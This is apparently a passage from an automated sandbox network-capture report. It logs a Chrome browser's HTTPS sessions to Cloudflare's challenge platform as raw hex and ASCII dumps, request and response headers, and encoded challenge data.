2024-05-23 08:31:14 UTC	1369	IN	Data Raw: 64 66 6d 47 68 70 4a 71 6c 6d 61 53 69 62 6f 53 77 71 35 4a 78 73 58 69 6b 63 37 6d 52 71 6e 79 58 6b 4c 39 39 68 5a 6d 6b 74 34 66 43 67 38 4f 62 70 4c 76 47 6d 73 48 55 71 59 36 78 78 61 65 57 30 4a 48 4f 6d 64 71 30 72 71 44 56 75 63 37 6d 75 71 44 53 78 4c 37 6c 77 63 69 32 37 63 62 4c 72 61 33 4b 31 4d 50 42 30 74 4f 31 39 38 2f 58 75 62 6e 5a 31 76 72 56 39 64 4c 6b 38 2b 48 49 34 72 33 6b 34 4f 50 49 37 66 4c 4f 34 67 48 67 37 4f 6e 72 35 64 4d 56 37 38 38 66 33 78 33 5a 46 42 6f 56 45 2f 66 5a 34 68 30 55 35 79 34 66 49 53 30 53 4d 77 4d 75 4a 53 33 77 4e 65 34 6c 46 76 63 6d 50 2f 73 31 4e 41 78 41 49 45 49 44 42 45 52 48 51 7a 64 41 52 69 49 46 4d 56 45 45 45 56 4d 55 55 56 55 30 52 69 31 55 46 56 46 52 4f 55 38 68 4b 6a 59 77 52 57 4a 6e 59 55 Data Ascii: dfmGhpJqlmaSiboSwq5JxsXikc7mRqnyXkL99hZmkt4fCg8ObpLvGmsHUqY6xxaeW0JHOmdq0rqDVuc7muqDSxL7lwci27cbLra3K1MPB0tO198/XubnZ1vrV9dLk8+HI4r3k4OPI7fLO4gHg7Onr5dMV788f3x3ZFBoVE/fZ4h0U5y4fIS0SMwMuJS3wNe4lFvcmP/s1NAxAIEIDBERHQzdARiIFMVEEEVMUUVU0Ri1UFVFROU8hKjYwRWJnYU
2024-05-23 08:31:14 UTC	1369	IN	Data Raw: 6e 34 36 72 67 47 79 4a 6f 35 57 35 71 4c 56 36 65 70 79 76 74 4c 32 4c 65 34 47 38 6a 70 4f 64 74 61 4f 5a 77 34 79 6b 70 59 33 4c 76 71 6e 54 6b 73 4b 55 69 62 61 6f 73 4d 62 53 6d 71 61 64 74 36 79 5a 35 4c 47 30 7a 72 62 56 36 73 48 59 74 61 72 6c 35 4b 72 78 76 36 6e 46 70 2b 58 47 7a 37 4f 77 30 63 7a 46 37 2f 66 4a 31 65 47 36 2b 75 2f 5a 32 39 58 38 44 41 49 46 44 51 6e 71 32 50 7a 61 2f 63 62 77 35 4e 50 51 47 65 4c 78 2f 65 7a 2b 2b 4f 44 37 37 64 2f 77 48 77 67 52 39 69 6a 35 4a 2b 49 44 48 67 73 74 48 43 49 67 4b 79 50 78 4a 76 4d 4a 43 54 6e 30 2f 66 63 4a 47 52 45 53 45 6a 6f 69 46 52 4d 6d 43 76 77 44 48 69 45 61 51 42 42 51 54 53 49 4f 49 6a 42 4a 52 68 4e 47 4c 56 49 6f 54 53 6f 61 49 6a 6b 65 56 46 63 6a 56 6d 41 6e 58 30 74 47 57 57 67 Data Ascii: n46rgGyJo5W5qLV6epyvtL2Le4G8jpOdtaOZw4ykpY3LvqnTksKUibaosMbSmqadt6yZ5LG0zrbV6sHYtarl5Krxv6nFp+XGz7Ow0czF7/fJ1eG6+u/Z29X8DAIFDQnq2Pza/cbw5NPQGeLx/ez++OD77d/wHwgR9ij5J+IDHgstHCIgKyPxJvMJCTn0/fcJGRESEjoiFRMmCvwDHiEaQBBQTSIOIjBJRhNGLVIoTSoaIjkeVFcjVmAnX0tGWWg
2024-05-23 08:31:14 UTC	1369	IN	Data Raw: 48 39 34 75 5a 4b 74 69 4a 65 5a 6e 5a 4f 30 6a 4a 57 4e 6c 61 4b 50 6f 38 6d 6d 73 38 32 4d 68 61 50 4e 6a 70 43 68 76 71 54 48 6f 72 43 6e 72 70 47 38 78 63 62 50 75 36 2b 61 6d 38 2f 42 6e 37 43 35 35 73 57 71 75 71 50 72 75 2b 6a 73 34 4c 33 6e 36 66 62 47 35 37 4c 36 7a 4f 71 34 7a 2f 72 70 39 2f 4c 4f 37 66 72 30 41 50 54 58 43 67 66 36 78 73 6f 4c 2f 67 66 36 33 76 30 4b 46 68 4d 61 31 75 66 5a 42 74 6a 72 43 64 49 5a 32 76 63 43 37 65 51 67 39 76 50 34 41 79 6a 34 35 53 41 6a 4a 53 66 71 37 51 50 76 45 78 4c 77 42 51 2f 37 38 77 63 33 2f 68 76 35 4d 30 59 34 4b 42 6f 64 4a 51 4a 48 47 67 51 75 53 79 68 4d 4d 6b 41 6a 4c 55 64 56 52 69 5a 4f 4c 44 59 32 55 54 45 37 48 44 78 61 52 54 68 64 47 69 4a 67 58 79 52 64 51 45 31 4a 61 54 35 4d 51 55 64 70 Data Ascii: H94uZKtiJeZnZO0jJWNlaKPo8mms82MhaPNjpChvqTHorCnrpG8xcbPu6+am8/Bn7C55sWquqPru+js4L3n6fbG57L6zOq4z/rp9/LO7fr0APTXCgf6xsoL/gf63v0KFhMa1ufZBtjrCdIZ2vcC7eQg9vP4Ayj45SAjJSfq7QPvExLwBQ/78wc3/hv5M0Y4KBodJQJHGgQuSyhMMkAjLUdVRiZOLDY2UTE7HDxaRThdGiJgXyRdQE1JaT5MQUdp
2024-05-23 08:31:14 UTC	1369	IN	Data Raw: 4f 33 77 49 6d 55 75 4c 57 78 6c 36 53 64 75 35 71 59 6c 72 53 71 71 71 4c 50 79 37 43 4f 78 4c 48 52 71 37 54 61 74 4e 43 53 6b 39 50 62 6e 5a 65 75 32 4b 48 51 78 37 48 66 75 65 62 4d 78 71 66 4b 78 4c 6e 65 33 36 76 41 38 38 7a 33 39 38 66 70 39 4f 62 48 38 4c 6e 67 7a 66 33 74 38 66 76 50 77 50 33 32 77 41 6a 4c 34 65 66 6e 2b 77 4d 51 38 65 37 6c 39 67 37 76 45 4f 59 49 47 2b 58 6e 2b 4f 76 58 45 4f 50 30 45 75 34 42 49 43 50 6b 47 2f 7a 6a 4c 67 41 4c 36 79 30 31 46 52 55 41 39 69 30 57 4a 7a 6e 33 38 78 63 75 39 76 4d 59 4c 52 30 75 41 67 41 6b 4e 6b 73 70 42 6a 63 70 4a 44 6c 4e 4c 54 55 6a 45 45 6f 34 4e 68 49 6b 47 7a 6b 78 54 78 4a 68 54 44 34 79 48 43 34 69 56 7a 4e 41 58 46 31 5a 51 6d 56 59 51 6d 38 70 51 6e 46 67 50 32 52 4a 56 46 78 30 58 Data Ascii: O3wImUuLWxl6Sdu5qYlrSqqqLPy7COxLHRq7TatNCSk9PbnZeu2KHQx7HfuebMxqfKxLne36vA88z398fp9ObH8Lngzf3t8fvPwP32wAjL4efn+wMQ8e7l9g7vEOYIG+Xn+OvXEOP0Eu4BICPkG/zjLgAL6y01FRUA9i0WJzn38xcu9vMYLR0uAgAkNkspBjcpJDlNLTUjEEo4NhIkGzkxTxJhTD4yHC4iVzNAXF1ZQmVYQm8pQnFgP2RJVFx0X
2024-05-23 08:31:14 UTC	1369	IN	Data Raw: 32 6c 6e 69 62 73 63 43 63 70 72 33 45 7a 72 7a 46 6a 4e 4b 75 78 63 33 46 72 4e 65 78 31 4c 69 71 7a 4b 61 39 75 4a 66 52 75 38 43 79 72 37 2f 45 74 72 53 70 33 4f 7a 65 35 39 76 6d 71 72 76 4d 37 2b 62 78 37 4e 57 77 32 63 6a 37 32 4e 72 54 76 39 48 34 76 75 50 51 32 51 4c 53 42 38 6a 6f 36 77 48 4c 34 2b 7a 6f 38 78 58 55 30 4f 7a 50 31 51 50 32 48 42 6f 63 44 74 33 2b 32 42 55 53 34 66 6f 55 42 66 73 4d 39 68 66 39 49 69 45 4d 42 66 41 49 4b 68 38 68 37 66 51 33 45 53 6b 6f 44 69 72 36 47 6a 6b 41 44 7a 51 56 4a 77 51 62 42 42 67 61 4f 55 55 5a 4c 30 64 44 4a 31 4a 53 4b 69 6b 56 53 44 74 47 4c 56 46 63 4b 6a 6f 58 4f 46 30 73 4a 57 56 63 56 43 59 2b 49 30 67 38 4f 45 68 66 61 79 68 43 4d 45 67 75 64 7a 46 45 53 44 74 6b 58 6c 30 38 55 58 49 2f 57 46 Data Ascii: 2lnibscCcpr3EzrzFjNKuxc3FrNex1LiqzKa9uJfRu8Cyr7/EtrSp3Oze59vmqrvM7+bx7NWw2cj72NrTv9H4vuPQ2QLSB8jo6wHL4+zo8xXU0OzP1QP2HBocDt3+2BUS4foUBfsM9hf9IiEMBfAIKh8h7fQ3ESkoDir6GjkADzQVJwQbBBgaOUUZL0dDJ1JSKikVSDtGLVFcKjoXOF0sJWVcVCY+I0g8OEhfayhCMEgudzFESDtkXl08UXI/WF
2024-05-23 08:31:14 UTC	1369	IN	Data Raw: 6f 35 66 4c 69 61 79 64 70 74 4f 38 6a 64 47 6c 78 5a 4c 59 6c 64 43 56 32 62 33 4a 34 4a 2f 6a 76 4c 57 39 35 4c 2b 33 71 62 6a 72 37 64 7a 59 7a 72 71 76 34 4e 4c 42 39 64 4c 4a 79 73 32 31 36 63 6a 58 31 76 44 4e 32 39 72 64 42 62 66 52 34 4c 2f 64 43 41 48 62 39 38 54 76 34 66 7a 49 36 39 44 56 45 50 44 55 37 77 51 52 37 51 6e 79 46 78 37 72 2f 66 30 6d 35 53 6a 36 39 78 4d 6c 44 43 63 63 4c 51 54 37 2b 66 45 47 41 66 30 78 45 51 51 54 46 7a 4d 49 42 78 73 63 44 67 73 50 48 52 41 31 45 79 45 55 46 44 30 65 47 43 63 62 4c 42 74 41 54 53 59 68 4c 68 49 73 4b 7a 4a 52 4f 43 64 63 58 54 55 73 4f 7a 73 38 4d 46 52 64 58 7a 59 79 4b 6b 41 36 4e 30 74 47 50 44 6f 79 52 6b 64 4f 64 56 42 45 55 31 64 59 53 47 77 32 58 45 35 4b 65 58 74 50 68 56 4e 67 55 33 68 Data Ascii: o5fLiaydptO8jdGlxZLYldCV2b3J4J/jvLW95L+3qbjr7dzYzrqv4NLB9dLJys216cjX1vDN29rdBbfR4L/dCAHb98Tv4fzI69DVEPDU7wQR7QnyFx7r/f0m5Sj69xMlDCccLQT7+fEGAf0xEQQTFzMIBxscDgsPHRA1EyEUFD0eGCcbLBtATSYhLhIsKzJROCdcXTUsOzs8MFRdXzYyKkA6N0tGPDoyRkdOdVBEU1dYSGw2XE5KeXtPhVNgU3h
2024-05-23 08:31:14 UTC	1369	IN	Data Raw: 59 6d 6c 6e 73 4f 52 72 4b 4c 4a 7a 4b 32 6e 70 71 71 34 71 36 6e 59 76 4b 37 6a 6f 62 32 36 77 65 6a 41 74 37 58 6b 79 37 76 4b 76 73 62 41 7a 66 44 75 77 76 65 31 30 63 62 73 79 74 7a 4c 32 62 33 61 7a 67 62 34 32 39 4c 34 30 75 66 5a 35 75 62 68 32 39 6b 52 37 2b 62 74 45 65 37 6a 38 64 48 34 35 68 77 5a 2b 2b 6f 68 37 68 76 77 37 53 45 46 38 78 67 68 42 66 63 73 4a 51 67 44 43 6a 45 4d 41 51 34 31 45 51 55 44 45 77 38 48 50 51 6e 36 45 79 77 50 4a 45 49 61 52 42 73 44 48 79 4d 2f 47 45 30 62 51 69 4d 38 47 30 74 53 56 53 6f 7a 55 31 4e 5a 4f 79 70 64 4b 52 73 61 4f 31 45 34 4c 32 56 44 58 54 4e 6f 4b 6b 30 37 52 6d 6c 4a 51 30 56 78 59 6a 39 6b 63 57 38 77 4f 45 74 76 65 6b 68 50 56 30 31 62 62 57 4e 53 55 48 46 68 56 32 4e 39 5a 56 36 4d 54 6d 6c 69 Data Ascii: YmlnsORrKLJzK2npqq4q6nYvK7job26wejAt7Xky7vKvsbAzfDuwve10cbsytzL2b3azgb429L40ufZ5ubh29kR7+btEe7j8dH45hwZ++oh7hvw7SEF8xghBfcsJQgDCjEMAQ41EQUDEw8HPQn6EywPJEIaRBsDHyM/GE0bQiM8G0tSVSozU1NZOypdKRsaO1E4L2VDXTNoKk07RmlJQ0VxYj9kcW8wOEtvekhPV01bbWNSUHFhV2N9ZV6MTmli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49764	104.17.3.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:15 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:15 UTC	375	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 08:31:15 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: yoE5f2TDx0vfQHxCK3XAcg==$Jr1fv0IOJIH3LekD4jhJ6Q== Server: cloudflare CF-RAY: 8883b049cb0c8c5d-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:15 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49769	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:27 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33576 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: b2c3c6268648b88 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:27 UTC	16384	OUT	Data Raw: 76 5f 38 38 38 33 62 30 30 65 30 65 39 61 34 33 37 62 3d 2d 31 73 75 74 6d 62 30 58 6d 58 56 73 6d 52 57 59 56 73 75 64 49 6f 71 57 66 62 4b 57 78 77 75 34 73 57 79 57 7a 57 59 58 57 52 57 51 6d 57 25 32 62 76 75 2b 24 57 67 75 57 31 2b 6d 57 7a 75 62 63 76 75 62 53 57 59 49 62 55 62 67 57 2b 79 35 57 6f 58 6d 46 4c 30 76 57 47 59 41 57 53 49 62 42 57 59 63 43 30 33 57 64 35 52 36 57 76 76 31 70 43 57 2d 6c 33 52 57 38 75 56 66 57 58 75 62 34 57 37 56 56 62 70 58 57 4f 43 57 57 4f 73 76 2b 44 68 57 62 30 38 30 78 43 6e 54 35 34 57 64 35 61 5a 57 62 52 76 66 73 74 58 75 57 71 6c 50 41 70 38 73 53 34 43 57 6f 52 58 68 43 47 54 57 57 68 63 2d 75 62 2b 50 38 56 67 75 41 71 57 52 42 24 43 73 79 42 6f 53 73 59 67 75 34 5a 35 35 24 34 36 46 66 4f 4b 55 53 35 6c Data Ascii: v_8883b00e0e9a437b=-1sutmb0XmXVsmRWYVsudIoqWfbKWxwu4sWyWzWYXWRWQmW%2bvu+$WguW1+mWzubcvubSWYIbUbgW+y5WoXmFL0vWGYAWSIbBWYcC03Wd5R6Wvv1pCW-l3RW8uVfWXub4W7VVbpXWOCWWOsv+DhWb080xCnT54Wd5aZWbRvfstXuWqlPAp8sS4CWoRXhCGTWWhc-ub+P8VguAqWRB$CsyBoSsYgu4Z55$46FfOKUS5l
2024-05-23 08:31:27 UTC	16384	OUT	Data Raw: 62 74 6e 77 6e 67 5a 6f 31 41 41 24 73 57 70 57 6e 57 61 4a 36 49 6d 73 2b 46 57 62 57 56 4c 74 7a 62 35 57 73 75 6d 31 57 48 57 43 39 55 49 62 69 57 6b 76 34 34 57 44 34 59 76 6d 76 62 61 57 4c 57 59 70 57 44 31 32 76 6d 75 57 4a 57 78 57 34 5a 57 6b 57 76 4a 62 52 57 42 57 32 30 56 4a 57 4f 57 62 4a 62 30 62 46 57 41 53 34 46 75 6c 76 4f 57 6d 58 57 73 57 2d 6e 4a 54 45 49 57 32 6e 68 76 57 76 57 50 76 6f 76 77 56 57 54 53 41 48 30 79 57 32 75 41 52 62 65 57 41 75 41 57 2b 4b 57 38 57 2d 31 62 46 57 49 76 6d 79 75 31 57 6c 57 53 31 57 71 57 44 76 62 76 2b 73 57 37 59 6d 4a 2b 37 57 6d 4a 6d 66 57 75 6f 36 57 2b 35 50 30 75 6b 76 2b 57 62 6f 57 6d 76 62 24 57 35 76 6d 75 6f 42 45 56 57 39 35 63 79 58 36 57 56 75 6d 4e 62 6e 59 6b 33 34 64 75 38 57 4f 34 Data Ascii: btnwngZo1AA$sWpWnWaJ6Ims+FWbWVLtzb5Wsum1WHWC9UIbiWkv44WD4YvmvbaWLWYpWD12vmuWJWxW4ZWkWvJbRWBW20VJWOWbJb0bFWAS4FulvOWmXWsW-nJTEIW2nhvWvWPvovwVWTSAH0yW2uARbeWAuAW+KW8W-1bFWIvmyu1WlWS1WqWDvbv+sW7YmJ+7WmJmfWuo6W+5P0ukv+WboWmvb$W5vmuoBEVW95cyX6WVumNbnYk34du8WO4
2024-05-23 08:31:27 UTC	808	OUT	Data Raw: 64 24 62 72 57 36 4e 68 31 57 78 75 59 38 59 7a 76 78 4c 2b 31 6f 72 51 47 57 2b 58 4f 5a 62 41 57 54 67 53 4a 57 76 70 74 75 2b 24 62 32 6d 77 44 4c 67 57 4a 57 34 4a 6e 48 4f 58 69 71 37 61 59 38 63 63 61 52 51 67 6d 66 47 69 52 6a 58 51 47 57 64 32 67 54 24 59 67 58 64 59 34 53 67 75 6b 48 56 38 53 72 24 38 35 66 69 62 34 76 58 69 78 6b 53 4c 6c 42 47 30 30 58 46 34 43 42 49 75 4b 56 49 6d 6e 32 24 4c 38 46 51 24 55 70 35 72 24 53 6d 34 38 36 54 71 33 4e 2d 76 57 2d 57 47 58 41 53 63 30 68 65 30 6d 43 6d 4b 57 34 71 6d 49 57 62 57 2b 67 2d 76 2b 66 57 2d 6e 68 6a 79 70 73 5a 55 58 30 2b 53 48 38 48 7a 7a 65 4f 69 4b 62 55 32 35 4b 57 78 76 32 36 4b 63 52 51 66 6f 75 2b 42 54 38 4e 33 44 47 79 45 69 4e 4a 50 47 55 54 56 4e 4e 67 57 4e 54 57 46 41 41 6c Data Ascii: d$brW6Nh1WxuY8YzvxL+1orQGW+XOZbAWTgSJWvptu+$b2mwDLgWJW4JnHOXiq7aY8ccaRQgmfGiRjXQGWd2gT$YgXdY4SgukHV8Sr$85fib4vXixkSLlBG00XF4CBIuKVImn2$L8FQ$Up5r$Sm486Tq3N-vW-WGXASc0he0mCmKW4qmIWbW+g-v+fW-nhjypsZUX0+SH8HzzeOiKbU25KWxv26KcRQfou+BT8N3DGyEiNJPGUTVNNgWNTWFAAl
2024-05-23 08:31:28 UTC	1257	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 3416 Connection: close cf-chl-out: /pvtp8bq+QdWUZesqLVjzKCKIWBViQviHo3q7pMJyygFoT881/V7KjedrheUoHr+IkvsRTZ/0lzhHWFNTgLiUfAQ0ZaZu0YgYIv7QdfsUtTTR9kbZBPZ0PmmqjR5spmn$dZEfrz/tRb+HDCI6Sef56Q== cf-chl-out-s: ZTdlyKPufKXUJlYgD17uC6fDCZVy05rbE6Y+6sPt+nYmn4CPTSuTQW9noryUiwq+uzAPoOe3+t6rLV1O0of0kEKCsHyZlRTZLBkD/jfH3WKq1RV5jxntB95OPUDExcVXtGx0wVJxrQCD1yVrAkyKlVDilzhNi1UxtpwOWatJsm7zDr/PCyjWk0w2Vcrh5MmFR48aC0/S35ls0E+G1Nt5sX9xeMutuTcaz17yPJnk7pUsICNqqW04keGiLASdy4IsHzYv57HH3W63GIUbHKbKY73C9vPNo0FhXvHsugeOSr9JGPZU4vRw6q5ThpE0SQbtMNiR1AWAzm8j/0NwYxhw3I2HpP8EOtCex0zTUa4oErWPK19M0y0YBDhyc9Qopqvahu3tN/y1UZenQIIR3Ibz2ZDe1NBa6dKEaPmkAVdWxdOHSfuSAS0vgKBwwIBPDQd1oIThiMSsO0lrTWCk7LPataXTYlubp1efU8QQHkspUTapMa1tCQ+U/EpK5h2YCIvwInqdWTZt70DcPKE0WkgBl78AdW5I4ZgjY51wXNjPtCmnIWMLeVzgR377r9nEs1Hi+KI5vPLskwpOuQwyeWIhCIu31xRbplYv9yUUrxKUp4XXnCIYJ+eEwN42pzc/R1EZBISpZj68kxh2YElToEm16PDej8Y3NMAs0vZiR7ib4zgzLWegTaorzTGyztxtvKoJPY2Ik9pTlx5A2S3fRP3cbJfHLQy++BARhNQnHxnku4IkP293pZp6I7Ko1xGKhrzQXGVF7L35yj2iA6NrrSYuwP3cwhFYmdtQTuiv46WQrTKf0jKHi81ak+mzpHpgKJ95$+el7kNN+a3Yb3WChLeklNw== Server: cloudflare CF-RAY: 8883b0975f01440d-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:28 UTC	112	IN	Data Raw: 61 49 78 6b 64 70 4b 56 6a 49 52 59 69 6f 79 4f 57 6d 79 41 6d 59 39 2f 6e 4b 4a 66 6c 71 46 31 64 71 74 35 62 61 32 78 68 4b 79 72 63 4b 65 43 70 61 2b 55 6e 4b 57 6f 66 6f 32 35 6b 37 35 2b 72 37 33 43 67 72 4f 59 79 37 57 31 69 62 2b 63 70 73 36 71 30 4d 61 6c 6f 61 4c 47 6c 61 53 4f 78 70 75 77 6c 72 69 37 6e 4b 44 41 31 39 57 65 Data Ascii: aIxkdpKVjIRYioyOWmyAmY9/nKJflqF1dqt5ba2xhKyrcKeCpa+UnKWofo25k75+r73CgrOYy7W1ib+cps6q0MaloaLGlaSOxpuwlri7nKDA19We
2024-05-23 08:31:28 UTC	1369	IN	Data Raw: 76 36 48 64 6e 74 76 68 70 2b 69 39 37 37 76 41 73 76 50 44 77 4b 76 30 79 4f 58 6d 31 38 37 39 74 2b 34 43 32 4d 2f 65 35 73 6a 52 76 4d 55 48 43 77 44 37 42 64 6b 54 35 2b 7a 6d 34 41 55 56 35 67 76 7a 44 2b 6b 4f 44 76 37 5a 2f 66 45 55 37 68 62 7a 46 66 55 45 44 42 76 6b 2b 67 6b 68 4a 78 51 78 43 75 76 7a 4a 43 49 6b 48 41 33 31 4d 52 6f 36 43 69 41 51 4c 79 55 4f 48 51 4d 49 4d 79 6b 59 4c 67 41 66 4a 41 68 4a 4a 30 56 4a 4a 6a 41 59 4a 30 77 4e 57 69 55 63 54 68 73 78 47 6a 6b 32 4f 44 6c 43 4e 6a 74 47 4b 6a 51 70 54 57 55 69 53 44 78 52 63 30 45 7a 53 31 68 43 4d 48 74 77 66 6c 67 33 61 30 35 68 64 48 74 30 63 59 5a 45 59 32 42 58 5a 45 56 5a 53 6b 6c 6e 61 6f 6c 70 54 49 78 6d 62 59 70 54 57 59 36 54 6d 58 56 75 6d 46 6c 31 57 6d 42 6d 65 70 61 Data Ascii: v6Hdntvhp+i977vAsvPDwKv0yOXm1879t+4C2M/e5sjRvMUHCwD7BdkT5+zm4AUV5gvzD+kODv7Z/fEU7hbzFfUEDBvk+gkhJxQxCuvzJCIkHA31MRo6CiAQLyUOHQMIMykYLgAfJAhJJ0VJJjAYJ0wNWiUcThsxGjk2ODlCNjtGKjQpTWUiSDxRc0EzS1hCMHtwflg3a05hdHt0cYZEY2BXZEVZSklnaolpTIxmbYpTWY6TmXVumFl1WmBmepa
2024-05-23 08:31:28 UTC	1369	IN	Data Raw: 39 2f 63 72 4e 36 77 31 4e 54 75 37 4f 57 79 2b 75 54 71 38 73 69 79 37 65 48 4d 74 76 48 57 38 75 4c 39 31 39 30 45 2b 75 2f 73 79 2f 73 48 46 4e 33 79 39 77 51 46 44 66 76 6b 46 77 6a 76 37 42 38 4c 46 68 38 51 47 50 54 77 35 52 58 6a 2b 43 73 4d 4a 53 76 73 4a 77 48 76 45 68 59 45 4d 42 49 59 4d 66 4d 6f 4c 78 7a 38 46 69 41 36 45 54 49 6c 46 45 67 69 4b 68 6b 57 4a 53 38 4b 53 43 4d 7a 52 6c 4d 2b 53 44 56 45 4d 6a 6f 34 58 43 38 2b 4c 55 77 36 56 44 42 66 56 45 51 66 49 46 56 4c 4a 6d 68 43 54 43 64 6e 59 46 46 42 50 57 52 56 56 57 4e 6e 57 7a 59 31 56 6c 78 31 4f 47 31 6a 64 6f 4e 36 64 6e 35 52 63 32 75 4b 50 6c 68 4d 54 6f 46 76 6a 32 78 67 64 6c 4a 4e 64 6d 39 78 6c 32 5a 5a 56 6e 56 2f 67 6d 4b 51 66 47 36 48 58 70 52 78 6f 71 75 71 71 49 47 62 Data Ascii: 9/crN6w1NTu7OWy+uTq8siy7eHMtvHW8uL9190E+u/sy/sHFN3y9wQFDfvkFwjv7B8LFh8QGPTw5RXj+CsMJSvsJwHvEhYEMBIYMfMoLxz8FiA6ETIlFEgiKhkWJS8KSCMzRlM+SDVEMjo4XC8+LUw6VDBfVEQfIFVLJmhCTCdnYFFBPWRVVWNnWzY1Vlx1OG1jdoN6dn5Rc2uKPlhMToFvj2xgdlJNdm9xl2ZZVnV/gmKQfG6HXpRxoquqqIGb
2024-05-23 08:31:28 UTC	566	IN	Data Raw: 37 6c 39 75 4f 79 7a 4f 6e 6e 38 39 6a 49 33 39 33 6b 76 2b 4c 68 31 77 58 69 31 63 50 4b 2b 41 4c 36 37 76 6f 48 2f 75 6b 41 30 50 44 79 42 76 66 62 35 66 73 54 44 2f 77 42 38 66 7a 36 2b 42 6a 38 4a 68 4d 63 41 66 59 50 44 4f 38 6b 43 53 63 4e 4a 41 6f 71 49 77 55 50 38 51 6b 47 48 44 41 64 4c 68 63 32 49 41 41 6c 4f 67 51 33 4e 52 6b 68 53 69 70 45 4c 56 49 76 44 55 63 30 4e 69 56 4c 4f 44 6f 33 47 42 73 32 50 6c 70 66 50 79 35 6a 56 45 51 67 52 55 6c 58 4e 69 63 6e 52 54 74 6a 5a 46 70 50 59 32 78 58 4d 55 6b 77 56 46 70 76 57 46 31 30 62 33 68 73 4f 6c 56 7a 57 32 56 7a 53 48 5a 71 59 56 31 34 52 6d 6c 49 61 32 4a 2f 59 59 42 4f 68 31 4b 46 65 6e 6c 74 69 6e 36 54 63 6f 75 56 65 58 43 50 59 59 57 70 68 48 6c 6f 66 5a 70 2b 6a 58 79 65 6b 58 43 46 6b Data Ascii: 7l9uOyzOnn89jI393kv+Lh1wXi1cPK+AL67voH/ukA0PDyBvfb5fsTD/wB8fz6+Bj8JhMcAfYPDO8kCScNJAoqIwUP8QkGHDAdLhc2IAAlOgQ3NRkhSipELVIvDUc0NiVLODo3GBs2PlpfPy5jVEQgRUlXNicnRTtjZFpPY2xXMUkwVFpvWF10b3hsOlVzW2VzSHZqYV14RmlIa2J/YYBOh1KFenltin6TcouVeXCPYYWphHlofZp+jXyekXCFk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49771	104.17.3.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:28 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:28 UTC	375	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 08:31:28 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: q02o+MKsSm/4brxYlv0/rw==$HTPvwikYTFj/0SCS1BzDVQ== Server: cloudflare CF-RAY: 8883b09d0c3a7cb1-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:28 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49770	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
